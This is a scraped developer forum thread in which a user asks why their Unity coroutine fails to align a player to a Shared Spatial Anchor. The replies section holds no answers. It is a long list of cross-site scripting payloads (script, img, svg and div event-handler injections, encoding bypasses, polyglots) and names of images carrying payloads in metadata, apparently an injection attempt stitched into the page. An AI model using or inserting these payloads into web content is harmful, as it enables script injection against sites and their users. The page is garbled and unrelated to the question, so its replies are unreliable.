cancel
Showing results for 
Search instead for 
Did you mean: 

Shared Spatial Anchors appearing, but player not syncing

BlackOut977
Explorer

We're trying to build an experience with Shared Spatial anchors, and it seems like we've followed the example scene well. We're able to create an anchor, save it to the cloud, share it to another player, and then have that player query it and instantiate it in their room.

The anchor ends up appearing in the correct place, with the correct rotation, but when the receiving player tries to align to it, their location and rotation don't adjust to it at all. It stays exactly how it was.

Here's the code we're calling once the anchor is instantiated.

private IEnumerator RealignmentCoroutine(OVRSpatialAnchor spatialAnchor) {

        Debug.Log("Aligning player to anchor: " + spatialAnchor.name);
       
        if(_currentAlignmentAnchor != null) {
            player.position = Vector3.zero;
            player.eulerAngles = Vector3.zero;

            yield return null;
        }

        var anchorTransform = spatialAnchor.transform;

        if(player)
        {

            player.position = anchorTransform.InverseTransformPoint(Vector3.zero);
            player.eulerAngles = new Vector3(0, -anchorTransform.eulerAngles.y, 0);
       
        }

        _currentAlignmentAnchor = spatialAnchor;

    }

 

We've almost lifted the code exactly from the example scene. Any idea what's happening?

13 REPLIES 13

xss_comment_exif_metadata_double_quote.png

payload_in_all_known_metadata.jpg

// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">

// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

// Svg payload
<svg onload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;

// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript&colon;alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
javascript&colon;//'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript&colon;//--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript&colon;//</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript&colon;//</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript&colon;//'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript&colon;//</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript&colon;alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript&colon;//--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*